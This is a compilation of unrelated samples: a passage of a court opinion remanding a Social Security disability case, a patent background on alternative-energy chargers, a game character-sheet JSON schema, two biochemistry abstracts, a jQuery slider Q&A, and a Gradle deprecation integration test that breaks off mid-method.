*1190 5. The claimant has not engaged in substantial gainful activity since July 31, 2001.
6. The medical evidence establishes that the claimant has the following severe impairments as of July 31, 2001 and thereafter: is status post an open reduction and internal fixation of a left ankle fracture and pinning of a left first metacarpal fracture on January 29, 2000, status post an August 10, 2000 incision and drainage of a large right hip hematoma, status post a February 22, 2001 left patella scar infiltration and injection, has minor degenerative changes in the left wrist, multilevel degenerative disc disease with early stenosis related to hypertrophic facet degenerative disease and bulging discs and neural foraminal encroachment primarily at the L5-S1. Nevertheless, she does not have an impairment or combination of impairments listed in, or medically equal to one listed in 20 C.F.R. Part 404, Appendix 1, Subpart P.
7. The claimant's testimony and that of her witness is not found credible when considered in light of the medical signs and findings, history of medical treatment, reports of treating and examining physicians and the inconsistencies in the claimant's testimony, all of which is discussed more fully in the Rationale section of this decision.
8. The claimant had the residual functional capacity to perform work-related activities as of July 31, 2001 and thereafter except for lifting or carrying more than ten pounds maximum occasionally and five pounds frequently (20 C.F.R. § 404.1545).
9. The claimant is able to perform her past relevant work as a claims taker as of July 31, 2001 and thereafter.
10. The claimant has not been under a "disability," as defined in the Social Security Act, as amended, since January 28, 2000 and through the date of this decision (20 C.F.R. § 404.1520(f)).
IV. DISCUSSION
"The Secretary has established a five-step sequential evaluation process for determining whether a claimant is disabled." Williams v. Bowen, 844 F.2d 748, 750 (10th Cir.1988). "If a determination can be made at any of the steps that a claimant is or is not disabled, evaluation under a subsequent step is not necessary." Id. Those five steps are as follows:
(1) A person who is working is not disabled.
(2) A person who does not have an impairment or combination of impairments severe enough to limit the ability to do basic work activities is not disabled.
(3) A person whose impairment meets or equals one of the impairments listed in the regulations is conclusively presumed to be disabled.
(4) A person who is able to perform work she has done in the past is not disabled.
(5) A person whose impairment precludes performance of past work is disabled unless the [Commissioner] demonstrates that the person can perform other work. Factors to be considered are age, education, past work experience, and residual functional capacity.
Reyes v. Bowen, 845 F.2d 242, 243 (10th Cir.1988) (citing 20 C.F.R. § 416.920(a)-(f)) (internal citations omitted).
Plaintiff contends that the ALJ committed errors at step four. Specifically, she asserts that: (1) the ALJ failed to properly assess the credibility of her complaints of severe pain; (2) the ALJ did not give controlling weight to the opinion of her primary treating physician, Dr. Powers; and (3) the ALJ failed to adequately develop the record regarding her depression *1191 and anxiety. The court will address Plaintiff's first two arguments together and her third argument separately.
A. Credibility Determination and Weight Given to Dr. Powers's Opinion
Plaintiff first maintains that the ALJ improperly dismissed her allegations of pain in his credibility determination. She claims that her pain constitutes a severe impairment. In support, Plaintiff cites to the opinions and notes of Dr. Powers, Dr. Becker, Dr. Murphy, and Dr. Katta, asserting that these four treating physicians made repeated references to her severe pain. Plaintiff also emphasizes that she is taking several medications for pain, and that since her accident, she has tried to lessen her pain with physical therapy, water aerobics, moist heat and ice packs, wrist support splints, support stockings, injections in her scars, surgery on her hematoma, a lumbar sympathetic epidural block, and a trochanteric bursa injection. Plaintiff argues that she tried to comply with every treatment plan prescribed by her doctors and that she should not be faulted for going back to work earlier than her doctors advised.
Second, Plaintiff argues that the ALJ failed to give the opinion of Dr. Robert Powers, Plaintiff's primary treating physician, controlling weight. Plaintiff asserts that the lack of substantial evidence contrary to Dr. Powers's opinion, the fact that Dr. Powers based his opinion on objective examinations performed by him and other physicians, and that his opinion is consistent with the opinion of Dr. Hendler, dictates a reversal of the Commissioner's decision.
The Commissioner responds that the ALJ considered Plaintiff's subjective complaints of pain in accordance with Social Security Regulations. The Commissioner states that the ALJ properly considered Plaintiff's complaints of pain along with the objective medical evidence of record, Plaintiff's work record, her medication, and her daily activities. The Commissioner also contends that the ALJ properly assigned Dr. Powers's opinion less weight because his opinion was inconsistent with the objective evidence in the record.
1. Relevant Legal Standards
a. Credibility Determinations
Because the ALJ is "`optimally positioned to observe and assess witness credibility,'" Adams v. Chater, 93 F.3d 712, 715 (10th Cir.1996) (quoting Casias v. Sec'y of Health & Human Servs., 933 F.2d 799, 801 (10th Cir.1991)), the court "may overturn such a credibility determination only when there is a conspicuous absence of credible evidence to support it," Patterson v. Apfel, 62 F.Supp.2d 1212, 1217 (D.Kan.1999) (citing Trimiar v. Sullivan, 966 F.2d 1326, 1329 (10th Cir.1992)). Credibility determinations made by the ALJ are generally treated as binding upon review. Talley v. Sullivan, 908 F.2d 585, 587 (10th Cir.1990).
When evaluating the credibility of a claimant's complaints of disabling pain, the ALJ should ask these questions: "(1) whether [the] [c]laimant established a pain-producing impairment by objective medical evidence; (2) if so, whether there is a `loose nexus' between the proven impairment and [the][c]laimant's subjective allegations of pain; and (3) if so, whether, considering all the evidence, both objective and subjective, [the] [c]laimant's pain is in fact disabling." Musgrave v. Sullivan, 966 F.2d 1371, 1376 (10th Cir.1992) (citing Luna v. Bowen, 834 F.2d 161, 163-64 (10th Cir.1987)). The ALJ should also consider the following factors:
the levels of medication and their effectiveness, the extensiveness of the attempts (medical or nonmedical) to obtain *1192 relief, the frequency of medical contacts, the nature of daily activities, subjective measures of credibility that are peculiarly within the judgment of the ALJ, the motivation of and relationship between the claimant and other witnesses, and the consistency or compatibility of nonmedical testimony with objective medical evidence.
Huston v. Bowen, 838 F.2d 1125, 1132 (10th Cir.1988). "`[D]isability requires more than mere inability to work without pain. To be disabling, pain must be so severe ... as to preclude any substantial gainful employment.'" Williams v. Chater, 923 F.Supp. 1373, 1380 (D.Kan.1996) (quoting Gossett v. Bowen, 862 F.2d 802, 807 (10th Cir.1988)).
b. Controlling Weight to a Treating Physician's Opinion
"A treating physician's opinion about the nature and severity of the claimant's impairments should be given controlling weight by the Commissioner if well supported by clinical and laboratory diagnostic techniques and if it is not inconsistent with other substantial evidence in the record." Walker v. Apfel, No. 97-1189-MLB, 1998 WL 928672, at *4 (D.Kan. Sept.18, 1998) (citing Castellano, 26 F.3d at 1029). If a treating physician's opinion is inconsistent with other evidence, the ALJ must determine whether the other evidence outweighs the treating physician's opinion. Goatcher v. United States Dep't of Health & Human Servs., 52 F.3d 288, 290 (10th Cir.1995). In weighing any medical opinion, the ALJ must consider the following factors: (1) the "length of the treatment relationship and the frequency of examination"; (2) the "nature and extent of the treatment relationship"; (3) the amount of relevant evidence supporting the physician's opinion; (4) how consistent that opinion is with the rest of the record; (5) whether the physician is a specialist; and (6) other factors tending to support or contradict the opinion. 20 C.F.R. § 404.1527(d)(2)-(6). The ALJ cannot disregard a treating physician's opinion that a claimant is disabled without giving legitimate and specific reasons. Goatcher, 52 F.3d at 290 (citing Frey v. Bowen, 816 F.2d 508, 513 (10th Cir.1987)). But the ultimate responsibility for determining whether a claimant is disabled is reserved for the ALJ, not the treating physician. Castellano, 26 F.3d at 1029 (citations omitted).
2. Plaintiff's Case Should Be Remanded For Further Proceedings
After reviewing the ALJ's opinion, the court concludes that the Commissioner's decision should be reversed and remanded for further proceedings before the ALJ. Specifically, the court determines that the ALJ should reevaluate Plaintiff's credibility and his decision to give Dr. Powers's opinions little weight applying the above legal standards.
After considering the medical evidence of record, Plaintiff's work activity, and her activities since July 31, 2002, the ALJ determined that Plaintiff's testimony regarding her subjective complaints, functional restrictions, and activities of daily living were exaggerated. The ALJ reviewed the results of several CT scans, x-rays, MRIs, surgeries and tests performed on Plaintiff subsequent to the January 2000 car accident. He concluded that Plaintiff's complaints about her symptoms were inconsistent with her doctors' clinical findings and reports, as well her own statements contained in those reports. In particular, the ALJ noted that x-rays and MRIs demonstrated that Plaintiff's left wrist and ankle healed completely. He also stated that the progress notes of record contained little, if any, objective findings supporting the severity, duration or intensity of Plaintiff's alleged pain, including support for her allegations *1193 of debilitating swelling, numbness, tingling, blurred vision, dizziness, and difficulty concentrating. The ALJ cited Dr. Hendler's opinion that Plaintiff exhibited "symptom magnification" and a note from Dr. Becker in January 2001 that Plaintiff could work four hours a day or more if she could tolerate it.
The ALJ also based his decision on the absence of any evidence showing that her medications were ineffective or caused adverse side effects. The ALJ acknowledged Plaintiff's history of treatment, citing the evidence that she received lumbar epidural injections for pain, underwent physical therapy, and used TED hose stockings for her legs. The ALJ further observed that there was no indication that Plaintiff lost weight after one of her doctors advised her to do so. Moreover, the ALJ stated that Plaintiff's allegation of disability was inconsistent with the work she performed from November 2000 through July 2001 and her occasional driving, cooking, dusting, and mopping. The ALJ further found that no treating doctor indicated that Plaintiff needed to use a walker or cane.
Finally, the ALJ concluded that the opinions of Dr. Powers and Dr. Hendler merited little weight. He characterized both physicians' opinions as conclusory and inconsistent with the objective medical evidence in the record, including Plaintiff's diagnostic and laboratory tests. Citing Dr. Powers's October 2001 opinion letter and his October 2002 RFC assessment, as well as Dr. Hendler's November 2002 consultative exam, the ALJ stated that both doctors failed to provide any specific signs or findings to support their opinions regarding Plaintiff's limitations. The ALJ commented that Dr. Powers's progress notes contained minimal findings and that Dr. Hendler's opinion was based on a one-time examination.
As an initial matter, the court believes that the ALJ properly considered Plaintiff's work history and daily activities as part of his credibility determination. See Williams, 923 F.Supp. at 1379 ("Evidence of employment during a period of alleged disability is highly probative of a claimant's ability to work."); Reece v. Barnhart, No. 00-4155-JAR, 2003 WL 1785792, at *2 (D.Kan. Mar.28, 2003) (stating that the determination whether an attempt to work "confirm[s] or refute[s] the existence of a disability" should be made on a case by case basis); Allen v. Apfel, 54 F.Supp.2d 1056, 1064-65 (D.Kan.1999) (stating that "the ALJ should consider whether the plaintiff's daily activities are substantially consistent with the kind and extent of disability claimed"). The court, however, concludes that the ALJ's failure to make detailed findings regarding Plaintiff's level of pain medication, the effectiveness of her medications, the side effects of her medications, and the frequency of her medical contacts undermines the ALJ's credibility determination and merits remand.
The ALJ stated in his decision that there was no indication in the record that Plaintiff's pain medications were ineffective when taken or that they caused Plaintiff's alleged side effects. The court's review of the record does reflect that Plaintiff's medications did not always work, and her continued complaints of pain to her doctors is consistent with this notion. Additionally, the record also indicates that the medications Plaintiff's doctors prescribed caused her some dizziness.
The court is also troubled by the ALJ's failure to make a finding pertaining to the level of medications Plaintiff's doctors prescribed for her. In February 2000, shortly after Plaintiff's car accident, Dr. Katta noted that Plaintiff was taking Tylenol III, Ultram, Vicodin, and Percocet for pain. *1194 As of May 2000, Dr. Katta remarked that Plaintiff was taking Celebrex as an anti-inflammatory medication and Lortab for pain. Dr. Katta changed Plaintiff's pain medication in June 2000, prescribing her Oxycontin for pain and Neurontin for dysesthesia in her left ankle, but later that month Plaintiff went back to taking Lortab because of the dizziness she experienced with Oxycontin. By August 2000, Dr. Katta stated that Plaintiff was taking Lortab for pain, Celebrex as anti-inflammatory medication, and Neurontin for neuralgia. In September 2000, Dr. Becker prescribed Plaintiff Celebrex and Neurontin. By January 2001, during the period Plaintiff returned to work, Dr. Becker noted that Plaintiff was not taking any medications, but he prescribed Celebrex, Neurontin, and Nortriptyline for her symptoms.
A progress note dated September 11, 2001 from Dr. Katta instructed Plaintiff to continue taking Celebrex and advised her that she may increase her doses of Neurontin on an as-needed basis. Per Plaintiff's request, Dr. Katta also prescribed Tylenol III for pain disturbing her sleep. As to the effectiveness of these medications, Plaintiff stated on a Social Security activities form dated September 24, 2001, that Neurontin and Celebrex did not always work, and that the Tylenol III was effective. A medication flow sheet from Dr. Powers indicates that as of August 2002, Plaintiff was taking the following medications: Neurontin, Celebrex, Oxycontin, and Lasix. Plaintiff testified at the ALJ hearing in October 2002 that she was taking six medications for pain, as well as Neurontin for tingling and numbness, Meclizine for dizziness, and Lasix for accumulation of fluid. Plaintiff also claimed that she felt dizzy or nauseated from the medications, but the ALJ never elicited any testimony as to the effectiveness of them. Finally, in January 2003, Dr. Katta noted that Plaintiff was taking Neurontin and using Liboderm patches for pain.
On remand, the ALJ should reevaluate Plaintiff's credibility utilizing the questions outlined in the Tenth Circuit's decision in Musgrave. Moreover, the ALJ is directed to reevaluate the Plaintiff's credibility based on the level of medications prescribed by her doctors and make specific findings concerning the effectiveness of her medications. The ALJ is directed to elicit testimony from Plaintiff concerning the effectiveness of her medications and to develop the medical record as to the same. In addition, the ALJ should factor the frequency of Plaintiff's medical contacts into his credibility determination.
Next, the court determines that remand is appropriate so that the ALJ can make specific findings, linked to evidence in the record, as to why he did not give Dr. Powers's opinion controlling weight. Again, the ALJ is directed to apply the relevant factors the Tenth Circuit outlined in Goatcher.
Dr. Powers stated in two RFC assessments and a letter to an attorney that Plaintiff is totally and permanently disabled for any occupation because of "severe" and "incapacitating" pain. In October 2002, Dr. Powers based this determination on a diagnosis of reflex sympathetic dystrophy, citing back pain, the scars on Plaintiff's left leg and right hip, and her tenderness to palpation in those areas. Dr. Powers filled out a second RFC after the ALJ's decision, relying on Plaintiff's severe leg pain for his diagnosis of reflex sympathetic dystrophy. In a conclusory fashion, the ALJ discounted Dr. Powers's opinion without linking his determination to specific medical evidence from the record.
Dr. Powers's diagnosis of reflex sympathetic dystrophy does have support from Dr. Murphy. A progress note from Dr. Becker dated September 28, 2000 observed that Plaintiff "does not have significant *1195 signs or symptoms of reflex sympathetic dystrophy." This is consistent with Dr. Murphy's statement in September 2000 that Plaintiff did not have "reflex dystrophy brewing." In January 10, 2001, Dr. Becker believed that Plaintiff suffered from mild reflex sympathetic dystrophy and a trochanteric bursa. Two weeks later, however, Dr. Becker determined that Plaintiff had no signs of mild reflex sympathetic dystrophy, but he believed that she had a painful scar and a possible trochanteric bursitis. In January 2002, Dr. Murphy examined Plaintiff and concluded that she did not have any problems that might be associated with reflex sympathetic dystrophy in her left leg. But in July 2002, Dr. Murphy stated that Plaintiff complained of hypersensitivity around her left ankle and a pressure sensation in her left leg. He suspected that those symptoms might be on the basis of a reflex sympathetic dystrophy. As a result, he referred Plaintiff to see Dr. Thomas Smith for evaluation and treatment of the same. The court observes that one of Dr. Powers's progress notes specifically cites Dr. Murphy's July 2002 diagnosis of reflex sympathetic dystrophy. Additionally, Dr. Powers's first RFC questionnaire refers to Dr. Thomas Smith's treatment notes. The record before the court, however, does not include Dr. Smith's treatment notes concerning Plaintiff's treatment for reflex sympathetic dystrophy. Because it is the ALJ's duty to fully develop the record, on remand, the ALJ should supplement Plaintiff's medical record with Dr. Smith's treatment notes.
Furthermore, Dr. Powers's first RFC questionnaire cited Plaintiff's chronic leg, hip, and back pain, her multiple scars on her leg and hip, and her tenderness to palpation to support his opinion. While the record indicates that Plaintiff's wrist and ankle fractures healed properly, it is apparent from the examinations performed by Dr. Becker, Dr. Murphy, Dr. Katta, Dr. Neblock-Bierne, as well as the numerous CT scans and MRIs performed on Plaintiff, that Plaintiff's continued problems with pain in her right hip, left leg, and back are well-documented. For instance, the court observes that Plaintiff's chronic back pain is supported by the MRI taken on her lumbar spine and Dr. Katta's treatment notes. While the court recognizes that Dr. Powers's treatment notes are not highly detailed, it appears that his RFC opinions are based in part on the treatment notes and tests performed by other specialists, as well as his continual treating relationship with Plaintiff. On remand, the ALJ should explain why he believes that Dr. Powers's opinions are not supported by the treatment notes of Dr. Becker, Dr. Murphy, Dr. Katta, Dr. Neblock-Bierne, as well as the CT scans and MRIs performed on Plaintiff. Finally, although the ALJ gave Dr. Hendler's opinion little weight, the court observes that the ALJ cited Dr. Hendler's opinion that Plaintiff demonstrated symptom magnification to support his credibility determination. Therefore, on remand the ALJ should clarify the weight he assigns to Dr. Hendler's examination.
B. Duty to Develop the Record Regarding Depression
Finally, Plaintiff contends that the ALJ improperly disregarded her claims of depression and anxiety. In his decision, the ALJ did not find Plaintiff's claims of anxiety and depression credible, citing "minimal signs or findings of symptoms in the treatment notes of record and only a single psychological consult in the record." Plaintiff acknowledges that limited evidence of treatment for depression exists in the record, but she asserts that the treating notes of Dr. Powers, in addition to the circumstances surrounding her automobile accident, justified further investigation into Plaintiff's mental impairments. Specifically, *1196 Plaintiff suggests that the ALJ should have ordered Plaintiff to undergo a psychiatric consultative examination or contacted Dr. Powers for clarification on his opinion of Plaintiff's depression and anxiety.
As mentioned before, "[t]he ALJ has a basic obligation in every social security case to ensure that an adequate record is developed during the disability hearing consistent with the issues raised. This is true despite the presence of counsel, although the duty is heightened when the claimant is unrepresented." Henrie v. United States Dep't of Health & Human Servs., 13 F.3d 359, 360-61 (10th Cir.1993) (internal citations omitted). An ALJ may have a duty to order a consultative examination when "such an examination is necessary or helpful to resolve the issue of impairment." Hawkins v. Chater, 113 F.3d 1162, 1167 (10th Cir.1997); see Robertson v. Chater, 900 F.Supp. 1520, 1530 (D.Kan.1995) (citations omitted). The ALJ has broad discretion in deciding whether to order such an examination. Diaz v. Sec'y of Health & Human Servs., 898 F.2d 774, 778 (10th Cir.1990). Nevertheless, while the ALJ has a duty to develop the record, it remains Plaintiff's burden to establish that she was disabled. Hill v. Sullivan, 924 F.2d 972, 974 (10th Cir.1991) (citation omitted); see Hawkins, 113 F.3d at 1167 (stating that "some objective evidence in the record suggesting the existence of a condition which could have a material impact on the disability decision" triggers an ALJ's duty to investigate).
The ALJ was correct to disregard Plaintiff's alleged depression because Plaintiff did not present sufficient medical evidence to warrant further investigation. Dr. Monica McNamara evaluated Plaintiff on March 2, 2000, three months after the automobile accident that resulted in the death of her sister and serious injuries to her brother and herself. At that time, Plaintiff reported to Dr. McNamara that she felt overwhelmed by the recent tragedy. Dr. McNamara recommended that Plaintiff participate in counseling and psychotherapy for her grief. Dr. McNamara also noted that Plaintiff appeared opposed to antidepressant medication and that she would continue to monitor the situation. As Defendant points out, the record does not indicate that Plaintiff ever sought additional counseling for her grief or tried to obtain medication.
The court concludes that the ALJ fulfilled his obligation to fully develop the record as to Plaintiff's alleged depression. Plaintiff, who was represented by counsel, did not request a consultative mental examination, but she now argues that the ALJ should have ordered a consultative mental examination or contacted Dr. Powers. Although the ALJ has a duty to develop the record, Plaintiff maintains the responsibility of providing medical evidence of a mental impairment.
IT IS, THEREFORE, BY THE COURT ORDERED that the decision of the Commissioner is reversed and remanded to the administrative law judge for further proceedings consistent with this opinion.
Copies of this order shall be transmitted to counsel of record.
The case is closed.
IT IS SO ORDERED.
|
1. Field
Embodiments may relate to a charger for alternative energy sources (or alternative power sources).
2. Background
There is a desire to extend battery life and/or to create new usage models by applying alternative energy (or alternative power). However, mobile devices (such as tablets and phones) may be very slow and limited in their use of alternative energy. |
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"options": {
"properties": {
"options": {
"properties": {
"string": {
"type": "string"
}
},
"type": "object"
}
},
"type": "object"
},
"overrides": {
"properties": {
"attacks": {
"items": {
"$ref": "#/definitions/Attack"
},
"type": "array"
},
"desc": {
"type": "string"
},
"image": {
"type": "string"
},
"spells": {
"items": {
"$ref": "#/definitions/SpellbookSpell"
},
"type": "array"
}
},
"type": "object"
},
"owner": {
"type": "string"
},
"race": {
"type": "string"
},
"resistances": {
"properties": {
"immune": {
"items": {
"type": "string"
},
"type": "array"
},
"resist": {
"items": {
"type": "string"
},
"type": "array"
},
"vuln": {
"items": {
"type": "string"
},
"type": "array"
}
},
"type": "object"
},
"saves": {
"properties": {
"string": {
"$ref": "#/definitions/Skill"
}
},
"type": "object"
},
"sheet_type": {
"enum": [
"beyond",
"dicecloud",
"google"
],
"type": "string"
},
"skills": {
"properties": {
"string": {
"$ref": "#/definitions/Skill"
}
},
"type": "object"
},
"spellbook": {
"properties": {
"caster_level": {
"type": "number"
},
"dc": {
"type": "number"
},
"max_slots": {
"properties": {
"string": {
"type": "number"
}
},
"type": "object"
},
"sab": {
"type": "number"
},
"slots": {
"properties": {
"string": {
"type": "number"
}
},
"type": "object"
},
"spells": {
"items": {
"$ref": "#/definitions/SpellbookSpell"
},
"type": "array"
}
},
"type": "object"
},
"stats": {
"properties": {
"charisma": {
"type": "number"
},
"constitution": {
"type": "number"
},
"dexterity": {
"type": "number"
},
"intelligence": {
"type": "number"
},
"prof_bonus": {
"type": "number"
},
"strength": {
"type": "number"
},
"wisdom": {
"type": "number"
}
},
"type": "object"
},
"temp_hp": {
"type": "number"
},
"upstream": {
"type": "string"
}
},
"type": "object"
}
|
New sensitive agents for detecting singlet oxygen by electron spin resonance spectroscopy.
Free radicals are well-established transient intermediates in chemical and biological processes. Singlet oxygen, though not a free radical, is also a fairly common reactive chemical species. It is rare that singlet oxygen is studied with the electron spin resonance (ESR) technique in biological systems, because there are few suitable detecting agents. We have recently researched some semiquinone radicals. Specifically, our focus has been on bipyrazole derivatives, which slowly convert to semiquinone radicals in DMSO solution in the presence of potassium tert-butoxide and oxygen. These bipyrazole derivatives are dimers of 3-methyl-1-phenyl-2-pyrazolin-5-one and have anti-ischemic activities and free radical scavenging properties. In this work, we synthesized a new bipyrazole derivative, 4,4'-bis(1p-carboxyphenyl-3-methyl-5-hydroxyl)-pyrazole, DRD156. The resulting semiquinone radical, formed by reaction with singlet oxygen, was characterized by ESR spectroscopy. DRD156 gave no ESR signals from hydroxyl radical, superoxide, and hydrogen peroxide. DRD156, though, gives an ESR response with hypochlorite. This agent, nevertheless, has a much higher ability to detect singlet oxygen than traditional agents with the ESR technique. |
Pantetheinase activity of membrane-bound Vanin-1: lack of free cysteamine in tissues of Vanin-1 deficient mice.
Pantetheinase (EC 3.5.1.-) is an ubiquitous enzyme which in vitro has been shown to recycle pantothenic acid (vitamin B5) and to produce cysteamine, a potent anti-oxidant. We show that the Vanin-1 gene encodes pantetheinase widely expressed in mouse tissues: (1) a pantetheinase activity is specifically expressed by Vanin-1 transfectants and is immunodepleted by specific antibodies; (2) Vanin-1 is a GPI-anchored pantetheinase, and consequently an ectoenzyme; (3) Vanin-1 null mice are deficient in membrane-bound pantetheinase activity in kidney and liver; (4) in these organs, a major metabolic consequence is the absence of detectable free cysteamine; this demonstrates that membrane-bound pantetheinase is the main source of cysteamine in tissues under physiological conditions. Since the Vanin-1 molecule was previously shown to be involved in the control of thymus reconstitution following sublethal irradiation in vivo, this raises the possibility that Vanin/pantetheinase might be involved in the regulation of some immune functions maybe in the context of the response to oxidative stress. |
Q:
JQuery Sly Plugin Left Force
Have a next fiddle with JQuery Plugin. situation next:
If you click on an item, it moves to the left. How to make that item is shifted itself without clicking?
var sly = new Sly($('.frame.left'),{
horizontal: 1,
itemNav: 'basic',
activateOn: 'click',
mouseDragging: 1,
startAt: 0,
speed: 300,
activeClass: 'active',
})
sly.on('active', function(eventName, activatedItemIndex){
sly.toStart(activatedItemIndex)
})
sly.init();
A:
To auto trigger a click, you can use something like:
$(".slide .item").eq(3).trigger("click");
Which will trigger the 4th item.
Updated JSFiddle
|
/*
* Copyright 2016 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.gradle
import org.gradle.api.JavaVersion
import org.gradle.api.logging.configuration.WarningMode
import org.gradle.integtests.fixtures.AbstractIntegrationSpec
import org.gradle.internal.featurelifecycle.LoggingDeprecatedFeatureHandler
import org.gradle.util.GradleVersion
import spock.lang.Unroll
class DeprecationHandlingIntegrationTest extends AbstractIntegrationSpec {
public static final String PLUGIN_DEPRECATION_MESSAGE = 'The DeprecatedPlugin plugin has been deprecated'
private static final String RUN_WITH_STACKTRACE = '(Run with --stacktrace to get the full stack trace of this deprecation warning.)'
def setup() {
file('buildSrc/src/main/java/DeprecatedTask.java') << """
import org.gradle.api.DefaultTask;
import org.gradle.api.tasks.TaskAction;
import org.gradle.internal.deprecation.DeprecationLogger;
public class DeprecatedTask extends DefaultTask {
@TaskAction
void causeDeprecationWarning() {
DeprecationLogger.deprecateTask("deprecated").replaceWith("foobar").willBeRemovedInGradle7().undocumented().nagUser();
System.out.println("DeprecatedTask.causeDeprecationWarning() executed.");
}
public static void someFeature() {
DeprecationLogger.deprecateMethod(DeprecatedTask.class, "someFeature()").willBeRemovedInGradle7().undocumented().nagUser();
System.out.println("DeprecatedTask.someFeature() executed.");
}
void otherFeature() {
DeprecationLogger.deprecateMethod(DeprecatedTask.class, "otherFeature()").withAdvice("Relax. This is just a test.").willBeRemovedInGradle7().undocumented().nagUser();
System.out.println("DeprecatedTask.otherFeature() executed.");
}
}
""".stripIndent()
file('buildSrc/src/main/java/DeprecatedPlugin.java') << """
import org.gradle.api.Plugin;
import org.gradle.api.Project;
import org.gradle.internal.deprecation.DeprecationLogger;
public class DeprecatedPlugin implements Plugin<Project> {
@Override
public void apply(Project project) {
DeprecationLogger.deprecatePlugin("DeprecatedPlugin").replaceWithExternalPlugin("Foobar").willBeRemovedInGradle7().undocumented().nagUser();
project.getTasks().create("deprecated", DeprecatedTask.class);
}
}
""".stripIndent()
file('buildSrc/src/main/resources/META-INF/gradle-plugins/org.acme.deprecated.properties') << """
implementation-class=DeprecatedPlugin
""".stripIndent()
}
@Unroll
def 'DeprecatedPlugin and DeprecatedTask - #scenario'() {
given:
buildFile << """
apply plugin: DeprecatedPlugin // line 2
DeprecatedTask.someFeature() // line 4
DeprecatedTask.someFeature()
task broken(type: DeprecatedTask) {
doLast {
otherFeature() // line 9
}
}
""".stripIndent()
when:
if (!fullStacktraceEnabled) {
executer.withFullDeprecationStackTraceDisabled()
}
if (warningsCountInConsole > 0) {
executer.expectDeprecationWarnings(warningsCountInConsole)
}
executer.withWarningMode(warnings)
warnings == WarningMode.Fail ? fails('deprecated', 'broken') : succeeds('deprecated', 'broken')
then:
output.contains('build.gradle:2)') == warningsCountInConsole > 0
output.contains('build.gradle:4)') == warningsCountInConsole > 0
output.contains('build.gradle:9)') == warningsCountInConsole > 0
and:
output.contains(PLUGIN_DEPRECATION_MESSAGE) == warningsCountInConsole > 0
output.contains('The DeprecatedTask.someFeature() method has been deprecated') == warningsCountInConsole > 0
output.contains('The DeprecatedTask.otherFeature() method has been deprecated') == warningsCountInConsole > 0
output.contains('The deprecated task has been deprecated') == warningsCountInConsole > 0
and:
output.contains(LoggingDeprecatedFeatureHandler.WARNING_SUMMARY) == (warningsCountInSummary > 0)
output.contains("Use '--warning-mode all' to show the individual deprecation warnings.") == (warningsCountInSummary > 0)
output.contains(LoggingDeprecatedFeatureHandler.WARNING_LOGGING_DOCS_MESSAGE) == (warningsCountInSummary > 0)
and: "system stack frames are filtered"
!output.contains('jdk.internal.')
!output.contains('sun.') || output.contains('sun.run')
!output.contains('org.codehaus.groovy.')
!output.contains('org.gradle.internal.metaobject.')
!output.contains('org.gradle.kotlin.dsl.execution.')
and:
assertFullStacktraceResult(fullStacktraceEnabled, warningsCountInConsole)
and:
if (warnings == WarningMode.Fail) {
failure.assertHasDescription("Deprecated Gradle features were used in this build, making it incompatible with Gradle ${GradleVersion.current().nextMajor.version}")
}
where:
scenario | warnings | warningsCountInConsole | warningsCountInSummary | fullStacktraceEnabled
'without stacktrace and --warning-mode=all' | WarningMode.All | 4 | 0 | false
'with stacktrace and --warning-mode=all' | WarningMode.All | 4 | 0 | true
'without stacktrace and --warning-mode=no' | WarningMode.None | 0 | 0 | false
'with stacktrace and --warning-mode=no' | WarningMode.None | 0 | 0 | true
'without stacktrace and --warning-mode=summary' | WarningMode.Summary | 0 | 4 | false
'with stacktrace and --warning-mode=summary' | WarningMode.Summary | 0 | 4 | true
'without stacktrace and --warning-mode=fail' | WarningMode.Fail | 4 | 0 | false
'with stacktrace and --warning-mode=fail' | WarningMode.Fail | 4 | 0 | true
}
def 'build error and deprecation failure combined'() {
given:
buildFile << """
apply plugin: DeprecatedPlugin // line 2
task broken() {
doLast {
throw new IllegalStateException("Can't do that")
}
}
""".stripIndent()
when:
executer.expectDeprecationWarning("The DeprecatedPlugin plugin has been deprecated. This is scheduled to be removed in ${GradleVersion.current().nextMajor}. Consider using the Foobar plugin instead.")
executer.withWarningMode(WarningMode.Fail)
then:
fails('broken')
output.contains('build.gradle:2)')
failure.assertHasCause("Can't do that")
failure.assertHasDescription('Deprecated Gradle features were used in this build')
}
def 'DeprecatedPlugin from init script - without full stacktrace.'() {
given:
def initScript = file("init.gradle") << """
allprojects {
org.gradle.internal.deprecation.DeprecationLogger.deprecatePlugin("DeprecatedPlugin").replaceWithExternalPlugin("Foobar").willBeRemovedInGradle7().undocumented().nagUser() // line 2
}
""".stripIndent()
when:
executer.withFullDeprecationStackTraceDisabled()
executer.expectDeprecationWarning()
executer.usingInitScript(initScript)
run '-s'
then:
output.contains('init.gradle:3)')
output.count(PLUGIN_DEPRECATION_MESSAGE) == 1
output.count('\tat') == 1
output.count('(Run with --stacktrace to get the full stack trace of this deprecation warning.)') == 1
}
@Unroll
def 'DeprecatedPlugin from applied script - #scenario'() {
given:
file("project.gradle") << """
apply plugin: DeprecatedPlugin // line 2
""".stripIndent()
buildFile << """
allprojects {
apply from: 'project.gradle' // line 2
}
""".stripIndent()
when:
if (!withFullStacktrace) {
executer.withFullDeprecationStackTraceDisabled()
}
executer.expectDeprecationWarning()
run()
then:
output.contains('project.gradle:2)')
output.contains('build.gradle:2)') == withFullStacktrace
output.count(PLUGIN_DEPRECATION_MESSAGE) == 1
withFullStacktrace ? (output.count('\tat') > 1) : (output.count('\tat') == 1)
withFullStacktrace == !output.contains(RUN_WITH_STACKTRACE)
where:
scenario | withFullStacktrace
'without full stacktrace' | false
'with full stacktrace' | true
}
@Unroll
def 'DeprecatedPlugin from applied kotlin script - #scenario'() {
given:
file("project.gradle.kts") << """
apply(plugin = "org.acme.deprecated") // line 1
""".stripIndent()
buildFile << """
allprojects {
apply from: 'project.gradle.kts' // line 3
}
""".stripIndent()
when:
if (!withFullStacktrace) {
executer.withFullDeprecationStackTraceDisabled()
}
executer.expectDeprecationWarning()
run()
then:
output.contains('build.gradle:3)')
output.contains('build.gradle:2)') == withFullStacktrace
output.contains('Project_gradle.<init>') == withFullStacktrace
output.count(PLUGIN_DEPRECATION_MESSAGE) == 1
withFullStacktrace ? (output.count('\tat') > 1) : (output.count('\tat') == 1)
